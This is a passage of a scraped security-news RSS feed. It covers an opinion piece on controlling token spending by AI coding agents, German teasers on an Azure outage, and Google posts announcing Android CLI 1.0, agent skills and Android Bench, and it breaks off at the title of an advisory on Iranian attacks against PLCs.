<p class="wp-block-paragraph">According to <a href="https://www.deloitte.com/cz-sk/en/services/consulting/research/the-state-of-ai-in-the-enterprise.html">Deloitte</a>, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.</p>



<p class="wp-block-paragraph">This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, <a href="https://x.com/praveenTweets/status/2033627282418655711">described</a> a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.</p>



<h2 class="wp-block-heading">Shifting the culture from usage to yield</h2>



<p class="wp-block-paragraph">Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “<a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">tokenmaxxing</a>,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.</p>



<p class="wp-block-paragraph">None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save <a href="https://getdx.com/blog/ai-assisted-engineering-q4-impact-report-2025/">3.6 hours</a> per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.</p>



<p class="wp-block-paragraph">Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.</p>



<h2 class="wp-block-heading">Stopping token waste before an AI blowout</h2>



<p class="wp-block-paragraph">Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.</p>



<p class="wp-block-paragraph">This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.</p>



<p class="wp-block-paragraph">Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.</p>



<p class="wp-block-paragraph">We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.</p>



<p class="wp-block-paragraph">This is a conversation teams need to have now. Anthropic <a href="https://support.claude.com/en/articles/15036540-use-the-claude-agent-sdk-with-your-claude-plan">just ended flat-rate pricing</a> for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.</p>



<p class="wp-block-paragraph">Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft löst Azure-Problem: Updates und Store laufen wieder]]></title>
<description><![CDATA[Nach einem weitreichenden Ausfall der Azure-Infrastruktur funktionieren zentrale Windows-Dienste wieder. Nutzer und Administratoren können Updates und Store-Inhalte nun wieder wie gewohnt herunterladen. Die Störung dauerte mehrere Stunden an.			(Weiter lesen)]]></description>
<link>https://tsecurity.de/de/3694181/it-security-nachrichten/microsoft-loest-azure-problem-updates-und-store-laufen-wieder/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694181/it-security-nachrichten/microsoft-loest-azure-problem-updates-und-store-laufen-wieder/</guid>
<pubDate>Sat, 25 Jul 2026 18:51:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://winfuture.de/news,160201.html"><img hspace="5" border="0" align="left" alt="Windows 11, Windows Update, Microsoft Windows 11, Windows 11 Update, Windows 11 Updates, Windows 11 Logo" width="1920" height="1080" src="https://i.wfcdn.de/teaser/1920/56589.jpg"></a>
			Nach einem weitreichenden Ausfall der Azure-Infrastruktur funktionieren zentrale Windows-Dienste wieder. Nutzer und Administratoren können Updates und Store-Inhalte nun wieder wie gewohnt herunterladen. Die Störung dauerte mehrere Stunden an.			(<a href="https://winfuture.de/news,160201.html">Weiter lesen</a>)]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft löst Azure-Problem: Updates und Store laufen wieder - WinFuture.de]]></title>
<description><![CDATA[In Unternehmensnetzwerken meldeten Administratoren zudem Probleme bei den Windows Server Update Services (WSUS). Downloads waren teils verzögert ...]]></description>
<link>https://tsecurity.de/de/3694111/windows-server/microsoft-loest-azure-problem-updates-und-store-laufen-wieder-winfuturede/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694111/windows-server/microsoft-loest-azure-problem-updates-und-store-laufen-wieder-winfuturede/</guid>
<pubDate>Sat, 25 Jul 2026 17:46:10 +0200</pubDate>
<category>🪟 Windows Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In Unternehmensnetzwerken meldeten Administratoren zudem Probleme bei den <b>Windows Server</b> Update Services (WSUS). Downloads waren teils verzögert ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Azure West US: Softwarefehler legt Microsoft-Cloud fünf Stunden lahm - ad-hoc-news.de]]></title>
<description><![CDATA[... Server-Racks, das die Infrastruktur der Microsoft ... Selbst grundlegende Systemdienste wie Windows Update, der Microsoft Store und der Windows Server ...]]></description>
<link>https://tsecurity.de/de/3694109/windows-server/azure-west-us-softwarefehler-legt-microsoft-cloud-fuenf-stunden-lahm-ad-hoc-newsde/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694109/windows-server/azure-west-us-softwarefehler-legt-microsoft-cloud-fuenf-stunden-lahm-ad-hoc-newsde/</guid>
<pubDate>Sat, 25 Jul 2026 17:46:07 +0200</pubDate>
<category>🪟 Windows Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[... Server-Racks, das die Infrastruktur der Microsoft ... Selbst grundlegende Systemdienste wie Windows Update, der Microsoft Store und der <b>Windows Server</b> ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Android CLI Now Stable 1.0: Accelerate developing for Android using any agent]]></title>
<description><![CDATA[Posted by Simona Milanovic and Ben Trengrove, Developer Relations Engineers
As Android developers, you have many choices when it comes to the agents, tools, command-line interfaces (CLI), and LLMs you use for app development. Whether you use Gemini in Android Studio,  Antigravity 2.0, Antigravity...]]></description>
<link>https://tsecurity.de/de/3693514/android-tipps/android-cli-now-stable-10-accelerate-developing-for-android-using-any-agent/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693514/android-tipps/android-cli-now-stable-10-accelerate-developing-for-android-using-any-agent/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:49 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVLU7gkfsf4axphzvtOKcqEkI3MLKZqX6Y9jGVReW6Ximz61c8klVVc0_Xs5Fw_aqk5yjl3K-Mit6cyKq0SLOJbUhUZ7R3dZZcwShqn5jYp-DuHY8hNoBWHJkicoIJ9DKRINQt6seAB3s2mcwANFYX9k0scYyCgfIYQrof7ImxOvzEW7BNj0ZPwEGB5FI/s2048/GoogleForDevelopers-AndroidCombo3-StrapiMetacard-2048x1323%20(1).png">





<div><div class="separator"><i>Posted by Simona Milanovic and Ben Trengrove, Developer Relations Engineers</i><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-DNQCYynOZTPwB7Two8HSejPtcinJWir0-t4Wseo9MFHwLNeluQqIbf-9XDJXcSTaHBoX7NJ6oTFRUczPaokekC-oFEFgdZwxngaskLaxyqCGy5-ZbT0QAnmRafTvx3PKPaMo-npHZuwUAi84AW-28rWw6_2BTWHnXoXqbSrX6Kboz0fy5lz9YogDFf0/s4209/GoogleForDevelopers-AndroidCombo3-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-DNQCYynOZTPwB7Two8HSejPtcinJWir0-t4Wseo9MFHwLNeluQqIbf-9XDJXcSTaHBoX7NJ6oTFRUczPaokekC-oFEFgdZwxngaskLaxyqCGy5-ZbT0QAnmRafTvx3PKPaMo-npHZuwUAi84AW-28rWw6_2BTWHnXoXqbSrX6Kboz0fy5lz9YogDFf0/s16000/GoogleForDevelopers-AndroidCombo3-Blogger-4209x1253.png"></a></div></div><div><br></div><div>
As Android developers, you have many choices when it comes to the agents, tools, command-line interfaces (CLI), and LLMs you use for app development. Whether you use Gemini in Android Studio,  Antigravity 2.0, Antigravity CLI, or third-party agents like Anthropic's Claude Code or OpenAI'sCodex, our mission remains the same: to ensure that high-quality Android development is possible everywhere.

  <p><span></span></p>
<p><span></span></p>
<div class="separator">
    <div>
        </div></div>
<p></p>

  <p>At <b>Google I/O ‘26</b>, we shared the latest leaps forward in agentic development, and showcased some of the newest capabilities of <a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a>—now stable at version 1.0 and ready for all Android developers to use. From new skills to enabling agent access to powerful Android Studio capabilities, we’re giving your agents the right tools to build alongside you.</p>

  <div>If you’re already using Android CLI and want to jump into using all the new features, just run <span><code>android update<code></code></code></span>. Otherwise, read further to learn more about how we’re making the agents you choose be better at building for Android.</div>

  <h3>Android development unlocked for Antigravity</h3>
  <p><a href="https://antigravity.google/">Google Antigravity</a> now includes an optional bundle of Android resources—including the Android CLI and skills—that you can install. You can either install the bundle during onboarding after installation, or later from the <b>Settings &gt; Customizations &gt; Build With Google Plugins</b> menu.</p><p>This provides Antigravity with all the powerful tools and knowledge of Android CLI, enabling it to perform the core tasks necessary for Android app development more easily and efficiently—from creating projects to deploying your app on a new Android virtual device.</p><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivI2fhgZRJRpz8TXcX4OC2CALzgOfHhKyVmVG0IaMsibqaAUVbZORx-5fbVrYUKlp0Fl1qk1wZ02jbrYSfFGRCtOvnOzWWYdw8G3or9ul_QY2yvT6Wm-kEIjAJtfj75kNWlSswAqoUCLvSefnFY3JMw7NQOA8hkDn3nc232oyEK1VN5ZM_UHbAEJWolWE/s16000/agy-android-cli%20(1).png"></div><i><div><i>You can now easily install Android CLI for use with Google Antigravity 2.0.</i></div></i><h3>Unlocking Android Studio capabilities for any agent</h3><p>Android CLI provides a lightweight interface for AI Agents to perform tasks and retrieve knowledge about Android development. However, there's benefits to specialization — Android Studio contains over a decade of Android expertise, built to handle even the most complex Android projects. This includes Android Studio's powerful static analysis engine, refactoring tools, dependency management, UI design and rendering libraries, and more. AI Agents can now tap into Android Studio's tools to gain many of these same capabilities.</p><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRp6RfqiD9adFdIQS9Fm_a3p_5X6K5Fjo5rEQhOeOqFpvjlQ-04DHav5atkLF7IZvnpdMaQqG_oBAhmcvCPRtAvsW7AH0Q3VF18y-TBUITLXBglNbR2o99sC-hJgj_D-OhF51rLO_OYi1RXdm6GBfgZqfsTdQa1CY6_g10D2LwLun3S1CjfqOY2pqp02Y/s16000/agy-android-studio%20(1).png"></div><div><i>Your agents can now use Android CLI to access powerful capabilities of Android Studio.</i></div><p>The latest version of Android CLI introduces the new <code>android studio</code> command. This enables the agent of your choice to leverage the deep, contextual capabilities of Android Studio to better understand and perform actions on an open Android project. By running Android Studio alongside your preferred agent with Android CLI, your agent’s tasks can more efficiently navigate the codebase to produce more precise code changes. And, when you use Android CLI to create and iterate on your project, transitioning to Android Studio is much easier, so that you can use the purpose built tools—such as, performance profilers, Compose Previews, and Android Device Streaming—to get that production-grade polish.</p>

  <p>When you have a project open in the latest <a href="https://developer.android.com/studio/preview">preview version</a> of Android Studio Quail, you (or your agent) can run the following command to check whether Android CLI has a connection established with your open project:</p>

<pre><span><p dir="ltr"><span>$ android studio check</span></p><p dir="ltr"><span>pid: </span><span>32942</span></p><p dir="ltr"><span>version: </span><span>Android Studio</span></p><p dir="ltr"><span>Projects:</span></p><span>    </span><span>READY</span><span>     JetSet /Users/adarshf/AndroidStudioProjects/jetset-main</span></span></pre>

  <p>From there, the agents can use the <code>android studio</code> command to access powerful IDE tools to interact with projects more efficiently. Key commands include:</p><p></p><ul><li><b>analyze-file:</b> Analyzes a file for errors and warnings using the editor's built-in inspections.</li><li><b>find-declaration:</b> Finds the exact definition site of a symbol (class, method, variable, field, constant, or Android resource/color) across the project using semantic resolution.</li><li><b>find-usages: </b>Finds all references and declarations of a symbol (class, method, variable, or Android resource) across the entire project using semantic analysis.</li><li><b>render-compose-preview: </b>Renders a Jetpack Compose UI Preview and returns a path to the image and UI hierarchy if successful.</li><li><b>version-lookup:</b> Get the latest information about which versions for specified app dependencies are available in common repositories, such as the Google Maven repository. By providing a programmatic solution, dependency management is less tedious and much less prone to flakiness.</li><li><b>open-file: </b>Opens a file directly in Android Studio. This is useful if the agent wants to direct your attention to view Compose Previews, performance traces, or other specific files in the IDE.</li></ul><p></p><ul>
  </ul>

  <p>For example, agents can now run the following commands to render a Compose preview for a new layout for your Android app, and then open the previews in Android Studio for you to take advantage of seeing multiple Compose Previews side by side and make AI-assisted edits right from the IDE.</p>

<pre><span><p dir="ltr"><span>$ android studio </span><span>find-declaration</span><span> HotelDetailScreen</span></p><p dir="ltr"><span>$ android studio </span><span>analyze-file</span><span> .../JetPacker/feature/detail/src/main/java/com/example/jetset/feature/detail/HotelDetailScreen.kt</span></p><span>$ android studio </span><span>open-file</span><span> feature/detail/src/main/java/com/example/jetset/feature/detail/HotelDetailScreen.kt</span></span></pre>

  <p>To learn more about how to use these commands, run <code>android help</code>. And, to make sure your agents understand how to work with this tool, make sure to update the Android CLI skill by running <code>android init</code>.</p>

  <h3>More ways to get started</h3>
  <p>To make integrating Android CLI into your environments as seamless as possible, we’re making it available in more ways. You can now download and install Android CLI using more package managers: apt-get, winget, and homebrew. For example, you can run the following to install Android CLI using winget:</p>

  <pre>winget install -e --id Google.AndroidCLI</pre>

  <p>We’ve also updated the installation to a user-local directory, by default. You can find the commands for all supported operating systems plus additional download options on the <a href="https://developer.android.com/tools/agents/android-cli/archive">Android CLI page</a>.</p>

  <h3>Support for Journeys</h3>
  <div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip7lO5BVjTIeJXDWyrGOdl4KpPTo8_oEcf0qLFUBRfPgOazlG7C9eLWDLdnNYb68-rlon4uOE4qo62WC_U7SaAOYwLG3Vbr0v_lRsh-iNoPzVMmFbAgKXXN1hz9Qj7rMImyybqHCU34ryMlml2fCquAyfNgp1yWiZu-CsP1Jowx4o0z69_wkNtYR0GQIM/s16000/android-cli-write-journey.png"></div><div><i>Journeys are natural language descriptions of core user experiences.</i></div><div><span><span><br></span></span></div>We are also introducing support for <a href="https://developer.android.com/tools/agents/android-cli/journeys">Journeys</a>. With Journeys tools and skills included with Android CLI, any agent of your choice can now create and run Journeys—which are natural language descriptions of user journeys for your app that are saved directly to your project.</div><div> <div class="separator"><img border="0" data-original-height="576" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeAW4kjqfV1t_mAw_iYwgWSczw3q-h3VEOAuDAe12uBel0niX6M2KAoGrs6M2UHhT3t1GvBZs-c3w0R87W6HgCAzHQZOdFjixUHyYCZRzhOgB_RtOkVh0Ph8cDFki0sWI8i5CFNXxGxBHai0uh0RZw5E9kcJUvl8DJtPT3tnkaQm5r8UHuWMstopnTnnI/s16000/android-cli-journey-run.gif"></div><p><i>(sped up) An agent running a Journey it generated for an app.</i></p>Agents can run these journeys using the Android CLI to navigate your app exactly like a user would. This unlocks entirely new ways to test, validate, or collect data across the critical experiences of your app, all driven by natural language and executed by your agent.
  
  <h3>Expanding Android skills</h3>
  <p>To help models better understand and execute specific patterns that follow our best practices, we are continuing to expand our <a href="https://github.com/android/skills">library of Android skills</a>. We’re shipping new skills that make Android development everywhere more capable, efficient, and productive:</p><p></p><ul><li><b>Display Glasses and Jetpack Compose Glimmer for XR: </b>Provides guidelines for developing projected applications for Android Display Glasses using the Jetpack Compose Glimmer UI toolkit.</li><li><b>Migration to CameraX:</b> Helps you migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.</li><li><b>Perfetto SQL:</b> Translates natural language data prompts into Perfetto SQL queries and executes them against a local trace file.</li><li><b>Adaptive UI:</b> Instructions to make or update an app's UI so that it adapts to different Android devices</li><li><b>Testing setup: </b>Creates a basic testing strategy.</li><li><b>Styles:</b> Helps with adoption of the new Jetpack Compose Style API for new components, and supports migration to Styles API. </li><li><b>AppFunctions: </b>Analyzes Android codebases to recommend and implement new AppFunctions, and refines KDoc documentation for Model Context Protocol optimization.</li></ul><p></p><p>You can add these new skills to your workflow directly from the command line. To help your agents understand and use Android CLI right away, you can initialize your environment and install the base android-cli skill by running:</p>
<pre>android init
</pre>
  <p>From there, you can browse and set up your agent workflow by searching for the exact capabilities your agent needs:</p>
<pre>android skills list
</pre>
  <p>Once you've found the right skill, install it to your environment by running:</p>
<pre>android skills add –skill=&lt;skill-name&gt;
</pre>
  
  <h3>Get started today</h3>
  <p>To download the stable 1.0 release of the Android CLI, explore the new tools, and browse the complete documentation, head over to <a href="https://d.android.com/tools/agents">d.android.com/tools/agents</a> today!  Also, make sure you update to the <a href="https://developer.android.com/studio/preview">latest preview version of Android Studio</a> to unlock the latest features that Android CLI offers. We can't wait to see what you build with Android CLI 1.0 and how these new features supercharge your daily workflows. Join our vibrant community on <a href="https://www.linkedin.com/showcase/androiddev/posts/?feedView=all">LinkedIn</a>, <a href="https://medium.com/androiddevelopers">Medium</a>, <a href="https://www.youtube.com/c/AndroidDevelopers/videos">YouTube</a>, or <a href="https://twitter.com/androidstudio">X</a> and  share your feedback.</p><p>Explore this announcement and all Google I/O 2026 updates on <a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=">io.google.</a></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Top 3 updates for Android developer productivity]]></title>
<description><![CDATA[Posted by Simona Milanovic, Developer Relations Engineer

Every year, Google I/O brings new announcements and resources across ecosystems and products, including Android development. As development shifts toward AI and agent-assisted tooling, we’ve expanded our offerings to better support you, ho...]]></description>
<link>https://tsecurity.de/de/3693506/android-tipps/top-3-updates-for-android-developer-productivity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693506/android-tipps/top-3-updates-for-android-developer-productivity/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:38 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVRZrq_G4uVlVKLwXHoXqLsp3SGb-2GJbHfNRNmjfSPuZ9gUrLJ8_fyNTDP-_jsJowwajpxaLPFd8047rF7B5IpSE8-gXFtwVx3x4WpEqWLX3Cm-bKo9tof1j5yTLT66FmzpEnod7EK8_3vUDNZv12uDz1lnfZ5O8iOQqxfWgH0oOYXd3CXvG4IUJuRfU/s4097/MM_Dev%20Productivity_Meta.png"><div><i>Posted by Simona Milanovic, Developer Relations Engineer</i></div><p class="post-author"></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjux_TC0rxXOwY28_pZlUZ5rOLTSjuCXAfcGOd_auXXQ1D91clcsNSmIYs939dNNL7ymPVs1Q2PTFa_FwzBnlbcnNavO6MlwlCv9U2XPUDU-5I_HeVfeS72JoCHrkmGO3bXjXpJtJK8H7glEX6hfKn78-GynO8w9RqT-N-EE37oyA2rFxy6JukihWgndFE/s8419/MM_Dev%20Productivity_Blog.png"><img border="0" data-original-height="2507" data-original-width="8419" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjux_TC0rxXOwY28_pZlUZ5rOLTSjuCXAfcGOd_auXXQ1D91clcsNSmIYs939dNNL7ymPVs1Q2PTFa_FwzBnlbcnNavO6MlwlCv9U2XPUDU-5I_HeVfeS72JoCHrkmGO3bXjXpJtJK8H7glEX6hfKn78-GynO8w9RqT-N-EE37oyA2rFxy6JukihWgndFE/s16000/MM_Dev%20Productivity_Blog.png"></a></div><br><i><br></i><p></p>

<p>Every year, Google I/O brings new announcements and resources across ecosystems and products, including Android development. As development shifts toward AI and agent-assisted tooling, we’ve expanded our offerings to better support you, however you decide to build for Android.</p><div class="separator"><div class="separator">
  <div>
    
  </div>
</div>

<p>To help you stay up to date, here is a summary of the<b> top 3 announcements for Android Developer Productivity at I/O</b>.</p>

<h2>1. Android CLI is now stable</h2><p><a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a> is now <strong>stable at version 1.0</strong>, with more capabilities and integrations.</p>

<p>The latest version of Android CLI introduces many new features, like programmatic version lookup and support for Journeys, and bridging capability to allow agents to <strong>integrate directly with Android Studio</strong>, via the <a href="https://developer.android.com/tools/agents/android-cli#studio-check">studio command</a>.</p>

<p>Running Android Studio alongside the agent and Android CLI enables more efficient navigation in your project, more precise output, and access to <strong>Android Studio’s unique tooling</strong>, such as performance profilers, Compose Previews, and Android Device Streaming.</p><div class="separator"><div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsMNSFKeo81-n949Gxy89kxE4j9xTtoJXnyEYGULxkjQXjndkMpdDzO74Xr2rvtuJuEooGeZeMJPf_H1UJC4YljU-jrBswJOMgsQBPm-_CO2Z2EYntVE3osq8maf2chHJHB8WvRVvvf_14TxkpARGAOGAUsqYQ-vWZtm2iUhanT-Zz3GDD2HQrQk1Jpcg/s1948/1_agy-android-studio.png"><img border="0" data-original-height="1552" data-original-width="1948" height="510" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsMNSFKeo81-n949Gxy89kxE4j9xTtoJXnyEYGULxkjQXjndkMpdDzO74Xr2rvtuJuEooGeZeMJPf_H1UJC4YljU-jrBswJOMgsQBPm-_CO2Z2EYntVE3osq8maf2chHJHB8WvRVvvf_14TxkpARGAOGAUsqYQ-vWZtm2iUhanT-Zz3GDD2HQrQk1Jpcg/w640-h510/1_agy-android-studio.png" width="640"></a></div><div><i>Android CLI now integrates seamlessly with Android Studio</i></div></div>

<p>Additionally, Google Antigravity now officially supports Android development, with the <strong>Android resources bundle</strong>, which includes the Android CLI and skills.</p>

<p>You can either install the bundle during onboarding after installation, or later from the <strong>Settings &gt; Customizations &gt; Build With Google Plugins</strong> menu. This provides Antigravity with all the powerful tools and knowledge of Android CLI to enable it to perform core tasks—from creating projects to deploying your app on a new virtual device—much more easily and efficiently.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg5lVac9WbZ_qdkjNLaQto2LX4c0tFD9zF3QIjtGcFXePDigzX7G8xAAQdo8YX6yt7U38-meDeTRQ1TCK-a7YUvjDk6D88ZfTNOQLI-6Xza52AugLbgEyg24kIzUR67lC9k3iX8H_gxk7JUYpHxSiHAJgQkFqN0CiXD8i5k4CE8Px308kNtVbKCYegJtI/s1948/1_agy-android-cli.png"><img border="0" data-original-height="1552" data-original-width="1948" height="510" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg5lVac9WbZ_qdkjNLaQto2LX4c0tFD9zF3QIjtGcFXePDigzX7G8xAAQdo8YX6yt7U38-meDeTRQ1TCK-a7YUvjDk6D88ZfTNOQLI-6Xza52AugLbgEyg24kIzUR67lC9k3iX8H_gxk7JUYpHxSiHAJgQkFqN0CiXD8i5k4CE8Px308kNtVbKCYegJtI/w640-h510/1_agy-android-cli.png" width="640"></a></div><div><i>Google Antigravity now offers the Android resources bundle</i></div>

</div><p><span>Android CLI is now available through more package managers: like </span><code>npm</code><span> and </span><code>homebrew</code><span>. </span><span>For more information, check out the </span><a href="https://android-developers.googleblog.com/2026/05/android-cli-stable-1-0-agent-development.html">Android CLI blog post</a><span> and </span><a href="https://developer.android.com/tools/agents/android-cli">official documentation.</a></p><div><div class="separator"><h2>2. Android skills keep growing</h2><p>To help models gain expertise for specific development patterns that follow our best practices, we are continuing to <strong>expand our repository of Android skills</strong>, available through <a href="https://developer.android.com/tools/agents/android-cli#skills-add">Android CLI</a> and <a href="https://github.com/android/skills">GitHub</a>.</p>

<p>Android skills ground LLMs in <strong>specialized workflows and domain knowledge,</strong> for the most common and more complex user journeys they might struggle with. We’ve shipped a fresh <strong>new batch of skills,</strong> with now more than 17 skills for areas such as:</p><ul><li>Adaptive UI</li><li>Display Glasses and Jetpack Compose Glimmer for XR</li><li>Migration to CameraX</li><li>Perfetto SQL and Trace Analysis</li><li>Jetpack Compose Styles API</li><li>AppFunctions</li><li>Verified email retrieval with Android Credential Manager</li><li>Engage SDK integration</li><li>Testing setup</li><li>Wear OS Jetpack Compose Material3</li></ul><br><div class="separator"><img border="0" data-original-height="405" data-original-width="720" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOV9PePtO9nHxegfJn96Lsab3Z1fD7FEsjdQ9EQ2vzNOc9es2_S6h8twazy_ief9YVabhkOUWu7xJHr-hxINrva44O7QDpt3z96UtGXbvJYtAARj4tVWK3SPuFVr2in-MSdyCdpY5aOdqRbBjtw06-n365vZv8_Or8YCDrj6FQyoVl6xxKibEJF4Nh3io/s16000/2_android_skills_dev_keynote.gif"><i>Android skills keep growing</i></div><div class="separator"><i><br></i></div><div><div>You can browse skills and install using the Android CLI commands:</div><p></p>

<pre><div>android skills list</div><div>android skills add –skill=&lt;skill-name&gt;</div></pre>

<p>For more information, check out the <a href="https://developer.android.com/tools/agents/android-skills">official documentation.</a></p>

<h2>3. Android Bench adds new models</h2><p>Earlier this year, we launched <a href="https://developer.android.com/bench">Android Bench</a> - our leaderboard for <strong>testing LLMs on real-world Android development</strong> challenges and tasks, with the goal of accelerating model improvements, so you have more helpful options for AI assistance.</p><div class="separator"><br></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb0KK5bxvuZazJH0qRgHNv7cHl9uhVwZIZprnwGTBufcU7KXLpFJzNO4tCaCJLjh4mrZIqmTuFSMyRadcJxyTsWty65oLaKwi_8L_jAWHERsWYJ6hbZf5qVoDHJCZb-i0U40B3Xz8nRg-nvFYD8cf-nFx7PPG7ffBL-w4bS9RTQx_GOdQ7RXWjUN5RTbI/s2618/AndroidBenchLeaderboard.png"><img border="0" data-original-height="1488" data-original-width="2618" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb0KK5bxvuZazJH0qRgHNv7cHl9uhVwZIZprnwGTBufcU7KXLpFJzNO4tCaCJLjh4mrZIqmTuFSMyRadcJxyTsWty65oLaKwi_8L_jAWHERsWYJ6hbZf5qVoDHJCZb-i0U40B3Xz8nRg-nvFYD8cf-nFx7PPG7ffBL-w4bS9RTQx_GOdQ7RXWjUN5RTbI/s16000/AndroidBenchLeaderboard.png"></a></div><div><i>Latest results from Android Bench leaderboard</i></div>

<p>You asked us to evaluate open models. So, at I/O, we added more commonly used ones, including our local model <strong>Gemma 4</strong>, to the leaderboard. We also added the latest models including <strong>Gemini 3.5 Flash.</strong></p>

<p>We are also working on increasing the difficulty of challenges we’re giving LLMs, including creating long running tasks, to continue encouraging improvements. These tasks will be coming soon to Android Bench. Check out the <a href="https://developer.android.com/bench">Android Bench leaderboard</a> to see the latest results.</p>

<h2>Android development anywhere</h2><p>By expanding our AI-assisted Android development offerings to Antigravity, through Android CLI and Android skills, and solidifying with the pro capabilities and production grade polish of Android Studio, we’re <strong>supporting Android developers wherever they choose to build.</strong></p>

<p>Have fun bringing your ideas to life faster and easier than ever before - we’re excited to see what you build in this new era of agentic development.</p><p>Check out the full <a href="https://www.youtube.com/playlist?list=PLWz5rJ2EKKc-XnEzj1_CBClxpkGwYQeLy">Developer productivity at Google I/O 2026 YouTube playlist</a> for more information.</p></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure]]></title>
<description><![CDATA[Advisory at a Glance



Title
